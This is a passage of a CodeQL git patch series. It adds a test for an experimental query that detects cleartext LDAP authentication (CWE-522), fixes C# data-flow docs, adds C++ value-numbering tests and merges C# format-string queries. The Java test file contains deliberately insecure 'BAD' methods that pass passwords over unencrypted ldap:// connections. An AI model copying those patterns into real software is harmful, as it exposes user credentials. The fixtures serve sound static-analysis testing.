ldapUrl | +| InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:85:41:85:47 | ldapUrl | +nodes +| InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | +| InsecureLdapAuth.java:15:41:15:47 | ldapUrl | semmle.label | ldapUrl | +| InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | semmle.label | ... + ... : String | +| InsecureLdapAuth.java:29:41:29:47 | ldapUrl | semmle.label | ldapUrl | +| InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | +| InsecureLdapAuth.java:85:41:85:47 | ldapUrl | semmle.label | ldapUrl | +#select +| InsecureLdapAuth.java:15:41:15:47 | ldapUrl | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" | LDAP connection string | +| InsecureLdapAuth.java:29:41:29:47 | ldapUrl | InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:25:20:25:39 | ... + ... | LDAP connection string | +| InsecureLdapAuth.java:85:41:85:47 | ldapUrl | InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:85:41:85:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" | LDAP connection string | diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java new file mode 100644 index 00000000000..236880a1e8e --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java @@ -0,0 +1,92 @@ +import java.util.Hashtable; + +import javax.naming.Context; +import javax.naming.directory.DirContext; +import javax.naming.directory.InitialDirContext; +import javax.naming.ldap.InitialLdapContext; + +public class InsecureLdapAuth { + // BAD - Test LDAP authentication in cleartext using `DirContext`. + public void testCleartextLdapAuth(String ldapUserName, String password) { + String ldapUrl = "ldap://ad.your-server.com:389"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put(Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + environment.put(Context.REFERRAL, "follow"); + environment.put(Context.SECURITY_AUTHENTICATION, "simple"); + environment.put(Context.SECURITY_PRINCIPAL, ldapUserName); + environment.put(Context.SECURITY_CREDENTIALS, password); + DirContext dirContext = new InitialDirContext(environment); + } + + // BAD - Test LDAP authentication in cleartext using `DirContext`. + public void testCleartextLdapAuth(String ldapUserName, String password, String serverName) { + String ldapUrl = "ldap://"+serverName+":389"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put(Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + environment.put(Context.REFERRAL, "follow"); + environment.put(Context.SECURITY_AUTHENTICATION, "simple"); + environment.put(Context.SECURITY_PRINCIPAL, ldapUserName); + environment.put(Context.SECURITY_CREDENTIALS, password); + DirContext dirContext = new InitialDirContext(environment); + } + + // GOOD - Test LDAP authentication over SSL. + public void testSslLdapAuth(String ldapUserName, String password) { + String ldapUrl = "ldaps://ad.your-server.com:636"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put(Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + environment.put(Context.REFERRAL, "follow"); + environment.put(Context.SECURITY_AUTHENTICATION, "simple"); + environment.put(Context.SECURITY_PRINCIPAL, ldapUserName); + environment.put(Context.SECURITY_CREDENTIALS, password); + DirContext dirContext = new InitialDirContext(environment); + } + + // GOOD - Test LDAP authentication with SASL authentication. + public void testSaslLdapAuth(String ldapUserName, String password) { + String ldapUrl = "ldap://ad.your-server.com:389"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put(Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + environment.put(Context.REFERRAL, "follow"); + environment.put(Context.SECURITY_AUTHENTICATION, "DIGEST-MD5 GSSAPI"); + environment.put(Context.SECURITY_PRINCIPAL, ldapUserName); + environment.put(Context.SECURITY_CREDENTIALS, password); + DirContext dirContext = new InitialDirContext(environment); + } + + // GOOD - Test LDAP authentication in cleartext connecting to local LDAP server. + public void testCleartextLdapAuth2(String ldapUserName, String password) { + String ldapUrl = "ldap://localhost:389"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put(Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + environment.put(Context.REFERRAL, "follow"); + environment.put(Context.SECURITY_AUTHENTICATION, "simple"); + environment.put(Context.SECURITY_PRINCIPAL, ldapUserName); + environment.put(Context.SECURITY_CREDENTIALS, password); + DirContext dirContext = new InitialDirContext(environment); + } + + // BAD - Test LDAP authentication in cleartext using `InitialLdapContext`. + public void testCleartextLdapAuth3(String ldapUserName, String password) { + String ldapUrl = "ldap://ad.your-server.com:389"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put(Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + environment.put(Context.REFERRAL, "follow"); + environment.put(Context.SECURITY_AUTHENTICATION, "simple"); + environment.put(Context.SECURITY_PRINCIPAL, ldapUserName); + environment.put(Context.SECURITY_CREDENTIALS, password); + InitialLdapContext ldapContext = new InitialLdapContext(environment, null); + } +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.qlref b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.qlref new file mode 100644 index 00000000000..c2baa984177 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql From eac83df40b9ef189c4d3252fa72c1643b363cc99 Mon Sep 17 00:00:00 2001 From: neal1991 <neal1991@sina.com> Date: Mon, 21 Dec 2020 08:52:42 +0800 Subject: [PATCH 0327/1241] fix for issue #4848 --- .../codeql-language-guides/analyzing-data-flow-in-csharp.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst index 71cf519fae3..7dd1988c97e 100644 --- a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst @@ -439,7 +439,7 @@ Exercise 2 Configuration() { this="String to System.Uri" } override predicate isSource(DataFlow::Node src) { - src.asExpr().hasValue() + src.asExpr().(Expr).hasValue() } override predicate isSink(DataFlow::Node sink) { From b9d24b82555f9110af46652e2dcf62361403a685 Mon Sep 17 00:00:00 2001 From: neal1991 <neal1991@sina.com> Date: Mon, 21 Dec 2020 08:54:15 +0800 Subject: [PATCH 0328/1241] fix for issue #4849 --- .../codeql-language-guides/analyzing-data-flow-in-csharp.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst index 7dd1988c97e..bb8de1edf47 100644 --- a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst @@ -480,7 +480,7 @@ Exercise 4 Configuration() { this="Environment to System.Uri" } override predicate isSource(DataFlow::Node src) { - src.asExpr() instanceof EnvironmentVariableFlowSource + src instanceof EnvironmentVariableFlowSource } override predicate isSink(DataFlow::Node sink) { From 3236cbd83e769c08f26e7824e4f8cb4f1a91fd78 Mon Sep 17 00:00:00 2001 From: Jonas Jensen <jbj@github.com> Date: Mon, 21 Dec 2020 08:21:02 +0100 Subject: [PATCH 0329/1241] C++: Test the AST wrapper for IR GVN Out of our 3 GVN libraries, the one we actually use in production didn't have tests -- except indirectly through `diff_ir_expr.ql`. --- .../GlobalValueNumbering/ast_ir_gvn.expected | 46 +++++++++++++++++++ .../GlobalValueNumbering/ast_ir_gvn.ql | 11 +++++ 2 files changed, 57 insertions(+) create mode 100644 cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ast_ir_gvn.expected create mode 100644 cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ast_ir_gvn.ql diff --git a/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ast_ir_gvn.expected b/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ast_ir_gvn.expected new file mode 100644 index 00000000000..2e8aecd11a6 --- /dev/null +++ b/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ast_ir_gvn.expected @@ -0,0 +1,46 @@ +| test.cpp:5:3:5:3 | GVN | 5:c3-c3 6:c3-c3 | +| test.cpp:5:7:5:8 | GVN | 5:c7-c8 6:c7-c8 | +| test.cpp:5:7:5:13 | GVN | 5:c7-c13 6:c7-c13 7:c7-c7 | +| test.cpp:5:12:5:13 | GVN | 5:c12-c13 6:c12-c13 | +| test.cpp:16:3:16:3 | GVN | 16:c3-c3 17:c3-c3 | +| test.cpp:16:7:16:8 | GVN | 16:c7-c8 17:c7-c8 | +| test.cpp:16:7:16:13 | GVN | 16:c7-c13 17:c7-c13 | +| test.cpp:16:7:16:24 | GVN | 16:c7-c24 17:c7-c24 18:c7-c7 | +| test.cpp:16:12:16:13 | GVN | 16:c12-c13 17:c12-c13 | +| test.cpp:16:17:16:24 | GVN | 16:c17-c24 17:c17-c24 | +| test.cpp:29:3:29:3 | GVN | 29:c3-c3 31:c3-c3 | +| test.cpp:29:7:29:8 | GVN | 29:c7-c8 31:c7-c8 | +| test.cpp:29:7:29:13 | GVN | 29:c7-c13 31:c7-c13 | +| test.cpp:29:12:29:13 | GVN | 29:c12-c13 31:c12-c13 | +| test.cpp:31:7:31:24 | GVN | 31:c7-c24 32:c7-c7 | +| test.cpp:43:3:43:3 | GVN | 43:c3-c3 45:c3-c3 | +| test.cpp:43:7:43:8 | GVN | 43:c7-c8 45:c7-c8 | +| test.cpp:43:7:43:13 | GVN | 43:c7-c13 45:c7-c13 | +| test.cpp:43:7:43:24 | GVN | 43:c7-c24 45:c7-c24 46:c7-c7 | +| test.cpp:43:12:43:13 | GVN | 43:c12-c13 45:c12-c13 | +| test.cpp:43:17:43:24 | GVN | 43:c17-c24 45:c17-c24 | +| test.cpp:44:3:44:5 | GVN | 44:c3-c5 44:c4-c5 | +| test.cpp:53:10:53:13 | GVN | 53:c10-c13 56:c21-c24 | +| test.cpp:53:10:53:13 | GVN | 53:c10-c13 56:c21-c24 | +| test.cpp:53:11:53:13 | GVN | 53:c11-c13 56:c22-c24 | +| test.cpp:53:18:53:21 | GVN | 53:c18-c21 56:c39-c42 59:c17-c20 | +| test.cpp:56:13:56:16 | GVN | 56:c13-c16 56:c31-c34 59:c9-c12 | +| test.cpp:56:13:56:16 | GVN | 56:c13-c16 56:c31-c34 59:c9-c12 | +| test.cpp:56:14:56:16 | GVN | 56:c14-c16 56:c32-c34 56:c47-c49 59:c10-c12 | +| test.cpp:62:5:62:10 | GVN | 62:c5-c10 65:c10-c15 | +| test.cpp:77:20:77:28 | GVN | 77:c20-c28 79:c7-c7 | +| test.cpp:79:11:79:14 | GVN | 79:c11-c14 79:c24-c27 | +| test.cpp:92:11:92:16 | GVN | 92:c11-c16 92:c15-c16 93:c10-c10 | +| test.cpp:105:11:105:12 | GVN | 105:c11-c12 106:c33-c34 | +| test.cpp:105:11:105:12 | GVN | 105:c11-c12 106:c33-c34 107:c11-c12 | +| test.cpp:105:15:105:15 | GVN | 105:c15-c15 107:c15-c15 109:c10-c10 | +| test.cpp:113:3:113:5 | GVN | 113:c3-c5 115:c3-c5 | +| test.cpp:125:11:125:12 | GVN | 125:c11-c12 126:c11-c12 128:c3-c4 129:c11-c12 | +| test.cpp:125:15:125:15 | GVN | 125:c15-c15 126:c15-c15 | +| test.cpp:128:11:128:11 | GVN | 128:c11-c11 129:c15-c15 | +| test.cpp:136:11:136:18 | GVN | 136:c11-c18 137:c11-c18 139:c3-c10 | +| test.cpp:136:21:136:21 | GVN | 136:c21-c21 137:c21-c21 | +| test.cpp:144:11:144:12 | GVN | 144:c11-c12 145:c11-c12 147:c3-c4 149:c11-c12 | +| test.cpp:144:15:144:15 | GVN | 144:c15-c15 149:c15-c15 | +| test.cpp:153:11:153:18 | GVN | 153:c11-c18 154:c11-c18 156:c3-c10 | +| test.cpp:153:21:153:21 | GVN | 153:c21-c21 154:c21-c21 | diff --git a/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ast_ir_gvn.ql b/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ast_ir_gvn.ql new file mode 100644 index 00000000000..0e525a753b5 --- /dev/null +++ b/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ast_ir_gvn.ql @@ -0,0 +1,11 @@ +import cpp +import semmle.code.cpp.ir.internal.ASTValueNumbering + +from GVN g +where strictcount(g.getAnExpr()) > 1 +select g, + strictconcat(Location loc | + loc = g.getAnExpr().getLocation() + | + loc.getStartLine() + ":c" + loc.getStartColumn() + "-c" + loc.getEndColumn(), " " + ) From 8d6c69bf7435a50fa2630278cd2382710d8fa2d2 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Mon, 21 Dec 2020 09:46:45 +0100 Subject: [PATCH 0330/1241] C#: Move `Expr::hasValue()` to `DotNet::Expr` --- csharp/ql/src/semmle/code/csharp/exprs/Expr.qll | 3 --- csharp/ql/src/semmle/code/dotnet/Expr.qll | 3 +++ 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll index b133b628732..5baa9da1265 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll @@ -51,9 +51,6 @@ class Expr extends DotNet::Expr, ControlFlowElement, @expr { /** Gets the value of this expression, if any */ override string getValue() { expr_value(this, result) } - /** Holds if this expression has a value. */ - predicate hasValue() { exists(getValue()) } - /** Gets the enclosing statement of this expression, if any. */ final Stmt getEnclosingStmt() { enclosingStmt(this, result) } diff --git a/csharp/ql/src/semmle/code/dotnet/Expr.qll b/csharp/ql/src/semmle/code/dotnet/Expr.qll index 29a9c6c170d..e5bea3a52d7 100644 --- a/csharp/ql/src/semmle/code/dotnet/Expr.qll +++ b/csharp/ql/src/semmle/code/dotnet/Expr.qll @@ -17,6 +17,9 @@ class Expr extends Element, @dotnet_expr { /** Gets the constant value of this expression, if any. */ string getValue() { none() } + /** Holds if this expression has a value. */ + final predicate hasValue() { exists(this.getValue()) } + /** * Gets the parent of this expression. This is for example the element * that uses the result of this expression. From b5a1e039a4f95c2b4ca52303cd9d46f6d0f114df Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Fri, 18 Dec 2020 15:23:26 +0100 Subject: [PATCH 0331/1241] C#: Merge queries `FormatInvalid.ql`, `FormatMissingArgument.ql`, and `FormatUnusedArgument.ql` --- csharp/ql/src/API Abuse/FormatInvalid.qhelp | 83 ++++++++-- csharp/ql/src/API Abuse/FormatInvalid.ql | 82 +++++++++- csharp/ql/src/API Abuse/FormatInvalidBad.cs | 2 +- csharp/ql/src/API Abuse/FormatInvalidGood.cs | 4 +- .../src/API Abuse/FormatMissingArgument.qhelp | 41 ----- .../ql/src/API Abuse/FormatMissingArgument.ql | 24 --- .../src/API Abuse/FormatMissingArgumentBad.cs | 2 +- .../API Abuse/FormatMissingArgumentGood.cs | 2 +- .../src/API Abuse/FormatUnusedArgument.qhelp | 37 ----- .../ql/src/API Abuse/FormatUnusedArgument.ql | 22 --- .../src/API Abuse/FormatUnusedArgumentBad.cs | 2 +- .../semmle/code/csharp/frameworks/Format.qll | 14 +- .../API Abuse/FormatInvalid/FormatInvalid.cs | 2 +- .../FormatInvalid/FormatInvalid.expected | 145 ++++++++++++------ .../FormatInvalid/FormatInvalidBad.cs | 2 +- .../FormatInvalid/FormatInvalidGood.cs | 4 +- .../FormatMissingArgument.cs | 0 .../FormatMissingArgumentBad.cs | 2 +- .../FormatMissingArgumentGood.cs | 2 +- .../FormatUnusedArgument.cs | 0 .../FormatUnusedArgumentBad.cs | 2 +- .../FormatMissingArgument.expected | 24 --- .../FormatMissingArgument.qlref | 1 - .../FormatUnusedArgument.expected | 31 ---- .../FormatUnusedArgument.qlref | 1 - 25 files changed, 263 insertions(+), 268 deletions(-) delete mode 100644 csharp/ql/src/API Abuse/FormatMissingArgument.qhelp delete mode 100644 csharp/ql/src/API Abuse/FormatMissingArgument.ql delete mode 100644 csharp/ql/src/API Abuse/FormatUnusedArgument.qhelp delete mode 100644 csharp/ql/src/API Abuse/FormatUnusedArgument.ql rename csharp/ql/test/query-tests/API Abuse/{FormatMissingArgument => FormatInvalid}/FormatMissingArgument.cs (100%) rename csharp/ql/test/query-tests/API Abuse/{FormatMissingArgument => FormatInvalid}/FormatMissingArgumentBad.cs (94%) rename csharp/ql/test/query-tests/API Abuse/{FormatMissingArgument => FormatInvalid}/FormatMissingArgumentGood.cs (91%) rename csharp/ql/test/query-tests/API Abuse/{FormatUnusedArgument => FormatInvalid}/FormatUnusedArgument.cs (100%) rename csharp/ql/test/query-tests/API Abuse/{FormatUnusedArgument => FormatInvalid}/FormatUnusedArgumentBad.cs (96%) delete mode 100644 csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.expected delete mode 100644 csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.qlref delete mode 100644 csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.expected delete mode 100644 csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.qlref diff --git a/csharp/ql/src/API Abuse/FormatInvalid.qhelp b/csharp/ql/src/API Abuse/FormatInvalid.qhelp index e4ef9b0ca2c..6c2554e06a5 100644 --- a/csharp/ql/src/API Abuse/FormatInvalid.qhelp +++ b/csharp/ql/src/API Abuse/FormatInvalid.qhelp @@ -4,28 +4,46 @@ <qhelp> <overview> <p> -The format string supplied to formatting methods (such as <code>string.Format()</code>) -must be formatted correctly, otherwise the exception <code>System.FormatException</code> -will be thrown. +When using string formatting methods (such as <code>string.Format()</code>), the following +should be taken into account: </p> +<ol> + <li> + The formatting string must be formatted correctly, otherwise the exception + <code>System.FormatException</code> will be thrown. + </li> + <li> + All passed arguments should be used by the formatting string, otherwise such + arguments will be ignored. + </li> + <li> + Missing arguments will result in a <code>System.FormatException</code> exception + being thrown + </li> +</ol> </overview> <recommendation> -<p> -Change the format string so that it is correctly formatted. Ensure that each -format item adheres to the syntax: -</p> - -<blockquote> - <p><b>{</b><i>index</i>[<b>,</b><i>alignment</i>][<b>:</b><i>formatString</i>]<b>}</b></p> -</blockquote> - -<p> -When literals <code>{</code> or <code>}</code> are required, replace them with <code>{{</code> and -<code>}}</code>, respectively, or supply them as arguments. -</p> +<ol> + <li> + Change the format string so that it is correctly formatted. Ensure that each + format item adheres to the syntax: + <blockquote> + <p><b>{</b><i>index</i>[<b>,</b><i>alignment</i>][<b>:</b><i>formatString</i>]<b>}</b></p> + </blockquote> + When literals <code>{</code> or <code>}</code> are required, replace them with <code>{{</code> and + <code>}}</code>, respectively, or supply them as arguments. + </li> + <li> + Change the format string to use the highlighted argument, or remove the unnecessary argument. + </li> + <li> + Supply the correct number of arguments to the format method, or change the format string + to use the correct arguments. + </li> +</ol> </recommendation> @@ -40,8 +58,39 @@ literals are not properly escaped. In the revised example, the literals are properly escaped. </p> <sample src="FormatInvalidGood.cs" /> - </example> + +<example> +<p> +Here are three examples where the format string does not use all the arguments. +</p> +<sample src="FormatUnusedArgumentBad.cs"/> +<ul> + <li>On line 7, the second argument (<code>ex.HResult</code>) is not logged.</li> + <li>On line 8, the first argument (<code>ex</code>) is not logged but the second + argument (<code>ex.HResult</code>) is logged twice.</li> + <li>On line 9, a C-style format string is used, which is incorrect, and neither + argument will be logged.</li> +</ul> +</example> + +<example> +<p> +Here are two examples where the call to <code>String.Format()</code> is missing arguments. +</p> +<sample src="FormatMissingArgumentBad.cs"/> +<ul> + <li>On line 7, the second argument (<code>last</code>) is not supplied.</li> + <li>On line 8, the format items are numbered <code>{1}</code> and <code>{2}</code>, + instead of <code>{0}</code> and <code>{1}</code> as they should be.</li> +</ul> + +<p> +In the revised example, both arguments are supplied. +</p> +<sample src="FormatMissingArgumentGood.cs"/> +</example> + <references> <li>MSDN: <a href="https://msdn.microsoft.com/en-us/library/system.string.format.aspx">String.Format Method</a>.</li> <li>Microsoft: <a href="https://docs.microsoft.com/en-us/dotnet/standard/base-types/composite-formatting">Composite Formatting</a>.</li> diff --git a/csharp/ql/src/API Abuse/FormatInvalid.ql b/csharp/ql/src/API Abuse/FormatInvalid.ql index 6a253c610f1..ef16359de09 100644 --- a/csharp/ql/src/API Abuse/FormatInvalid.ql +++ b/csharp/ql/src/API Abuse/FormatInvalid.ql @@ -1,20 +1,86 @@ /** - * @name Invalid format string - * @description Using a format string with an incorrect format causes a 'System.FormatException'. + * @name Invalid string formatting + * @description Calling 'string.Format()' with either an invalid format string or incorrect + * number of arguments may result in dropped arguments or a 'System.FormatException'. * @kind path-problem * @problem.severity error * @precision high - * @id cs/invalid-format-string + * @id cs/invalid-string-formatting * @tags reliability * maintainability */ import csharp import semmle.code.csharp.frameworks.Format -import FormatFlow +import DataFlow::PathGraph -from FormatCall s, InvalidFormatString src, PathNode source, PathNode sink +private class FormatConfiguration extends DataFlow::Configuration { + FormatConfiguration() { this = "format" } + + override predicate isSource(DataFlow::Node n) { n.asExpr() instanceof StringLiteral } + + override predicate isSink(DataFlow::Node n) { + exists(FormatCall c | n.asExpr() = c.getFormatExpr()) + } +} + +private predicate invalidFormatString( + InvalidFormatString src, DataFlow::PathNode source, DataFlow::PathNode sink, string msg, + FormatCall call, string callString +) { + source.getNode().asExpr() = src and + sink.getNode().asExpr() = call.getFormatExpr() and + any(FormatConfiguration conf).hasFlowPath(source, sink) and + call.hasInsertions() and + msg = "Invalid format string used in $@ formatting call." and + callString = "this" +} + +private predicate unusedArgument( + FormatCall call, DataFlow::PathNode source, DataFlow::PathNode sink, string msg, + ValidFormatString src, string srcString, Expr unusedExpr, string unusedString +) { + exists(int unused | + source.getNode().asExpr() = src and + sink.getNode().asExpr() = call.getFormatExpr() and + any(FormatConfiguration conf).hasFlowPath(source, sink) and + unused = call.getASuppliedArgument() and + not unused = src.getAnInsert() and + not src.getValue() = "" and + msg = "The $@ ignores $@." and + srcString = "format string" and + unusedExpr = call.getSuppliedExpr(unused) and + unusedString = "this supplied value" + ) +} + +private predicate missingArgument( + FormatCall call, DataFlow::PathNode source, DataFlow::PathNode sink, string msg, + ValidFormatString src, string srcString +) { + exists(int used, int supplied | + source.getNode().asExpr() = src and + sink.getNode().asExpr() = call.getFormatExpr() and + any(FormatConfiguration conf).hasFlowPath(source, sink) and + used = src.getAnInsert() and + supplied = call.getSuppliedArguments() and + used >= supplied and + msg = "Argument '{" + used + "}' has not been supplied to $@ format string." and + srcString = "this" + ) +} + +from + Element alert, DataFlow::PathNode source, DataFlow::PathNode sink, string msg, Element extra1, + string extra1String, Element extra2, string extra2String where - hasFlowPath(src, source, s, sink) and - s.hasInsertions() -select src, source, sink, "Invalid format string used in $@ formatting call.", s, "this" + invalidFormatString(alert, source, sink, msg, extra1, extra1String) and + extra2 = extra1 and + extra2String = extra1String + or + unusedArgument(alert, source, sink, msg, extra1, extra1String, extra2, extra2String) + or + missingArgument(alert, source, sink, msg, extra1, extra1String) and + extra2 = extra1 and + extra2String = extra1String +select alert, source, sink, msg, extra1, extra1String, extra2, extra2String diff --git a/csharp/ql/src/API Abuse/FormatInvalidBad.cs b/csharp/ql/src/API Abuse/FormatInvalidBad.cs index e89734ab19c..ec3df72655d 100644 --- a/csharp/ql/src/API Abuse/FormatInvalidBad.cs +++ b/csharp/ql/src/API Abuse/FormatInvalidBad.cs @@ -1,6 +1,6 @@ using System; -class Bad +class Bad1 { string GenerateEmptyClass(string c) { diff --git a/csharp/ql/src/API Abuse/FormatInvalidGood.cs b/csharp/ql/src/API Abuse/FormatInvalidGood.cs index 2060501541d..efc62a07391 100644 --- a/csharp/ql/src/API Abuse/FormatInvalidGood.cs +++ b/csharp/ql/src/API Abuse/FormatInvalidGood.cs @@ -1,9 +1,9 @@ using System; -class Good +class Good1 { string GenerateEmptyClass(string c) { - return string.Format("class {0} {{ }}"); + return string.Format("class {0} {{ }}", "C"); } } diff --git a/csharp/ql/src/API Abuse/FormatMissingArgument.qhelp b/csharp/ql/src/API Abuse/FormatMissingArgument.qhelp deleted file mode 100644 index ddab9a65a04..00000000000 --- a/csharp/ql/src/API Abuse/FormatMissingArgument.qhelp +++ /dev/null @@ -1,41 +0,0 @@ -<!DOCTYPE qhelp PUBLIC - "-//Semmle//qhelp//EN" - "qhelp.dtd"> -<qhelp> -<overview> -<p> -Formatting methods (such as <code>String.Format()</code>) that are missing arguments will -throw the exception <code>System.FormatException</code>. This is caused by the format -string not matching the actual arguments supplied or an incorrect format string. -</p> -</overview> - -<recommendation> -<p> -Supply the correct number of arguments to the format method, or change the format string -to use the correct arguments. -</p> -</recommendation> - -<example> -<p> -Here are two examples where the call to <code>String.Format()</code> is missing arguments. -</p> -<sample src="FormatMissingArgumentBad.cs"/> -<ul> - <li>On line 5, the second argument (<code>last</code>) is not supplied.</li> - <li>On line 6, the format items are numbered <code>{1}</code> and <code>{2}</code>, - instead of <code>{0}</code> and <code>{1}</code> as they should be.</li> -</ul> - -<p> -In the revised example, both arguments are supplied. -</p> -<sample src="FormatMissingArgumentGood.cs"/> -</example> - -<references> - <li>MSDN: <a href="https://msdn.microsoft.com/en-us/library/system.string.format.aspx">String.Format Method</a>.</li> - <li>Microsoft: <a href="https://docs.microsoft.com/en-us/dotnet/standard/base-types/composite-formatting">Composite Formatting</a>.</li> -</references> -</qhelp> \ No newline at end of file diff --git a/csharp/ql/src/API Abuse/FormatMissingArgument.ql b/csharp/ql/src/API Abuse/FormatMissingArgument.ql deleted file mode 100644 index 58385d4a295..00000000000 --- a/csharp/ql/src/API Abuse/FormatMissingArgument.ql +++ /dev/null @@ -1,24 +0,0 @@ -/** - * @name Missing format argument - * @description Supplying too few arguments to a format string causes a 'System.FormatException'. - * @kind path-problem - * @problem.severity error - * @precision high - * @id cs/format-argument-missing - * @tags reliability - * maintainability - */ - -import csharp -import semmle.code.csharp.frameworks.Format -import FormatFlow - -from - FormatCall format, ValidFormatString src, int used, int supplied, PathNode source, PathNode sink -where - hasFlowPath(src, source, format, sink) and - used = src.getAnInsert() and - supplied = format.getSuppliedArguments() and - used >= supplied -select format, source, sink, "Argument '{" + used + "}' has not been supplied to $@ format string.", - src, "this" diff --git a/csharp/ql/src/API Abuse/FormatMissingArgumentBad.cs b/csharp/ql/src/API Abuse/FormatMissingArgumentBad.cs index 0fc5b21f1ae..a66eea4cf32 100644 --- a/csharp/ql/src/API Abuse/FormatMissingArgumentBad.cs +++ b/csharp/ql/src/API Abuse/FormatMissingArgumentBad.cs @@ -1,6 +1,6 @@ using System; -class Bad +class Bad3 { void Hello(string first, string last) { diff --git a/csharp/ql/src/API Abuse/FormatMissingArgumentGood.cs b/csharp/ql/src/API Abuse/FormatMissingArgumentGood.cs index 36fbe2de8a7..817da4d8336 100644 --- a/csharp/ql/src/API Abuse/FormatMissingArgumentGood.cs +++ b/csharp/ql/src/API Abuse/FormatMissingArgumentGood.cs @@ -1,6 +1,6 @@ using System; -class Good +class Good3 { void Hello(string first, string last) { diff --git a/csharp/ql/src/API Abuse/FormatUnusedArgument.qhelp b/csharp/ql/src/API Abuse/FormatUnusedArgument.qhelp deleted file mode 100644 index fc280f1c3b3..00000000000 --- a/csharp/ql/src/API Abuse/FormatUnusedArgument.qhelp +++ /dev/null @@ -1,37 +0,0 @@ -<!DOCTYPE qhelp PUBLIC - "-//Semmle//qhelp//EN" - "qhelp.dtd"> -<qhelp> -<overview> -<p> -Arguments which are passed to formatting methods (such as <code>String.Format()</code>) -but are not used, are either unnecessary or mean that the format string is incorrect. The result -is that the argument will be ignored, which may not be the intended behavior. -</p> -</overview> - -<recommendation> -<p> -Change the format string to use the highlighted argument, or remove the unnecessary argument. -</p> -</recommendation> - -<example> -<p> -Here are three examples where the format string does not use all the arguments. -</p> -<sample src="FormatUnusedArgumentBad.cs"/> -<ul> - <li>On line 5, the second argument (<code>ex.HResult</code>) is not logged.</li> - <li>On line 6, the first argument (<code>ex</code>) is not logged but the second - argument (<code>ex.HResult</code>) is logged twice.</li> - <li>On line 4, a C-style format string is used, which is incorrect, and neither - argument will be logged.</li> -</ul> -</example> - -<references> - <li>MSDN: <a 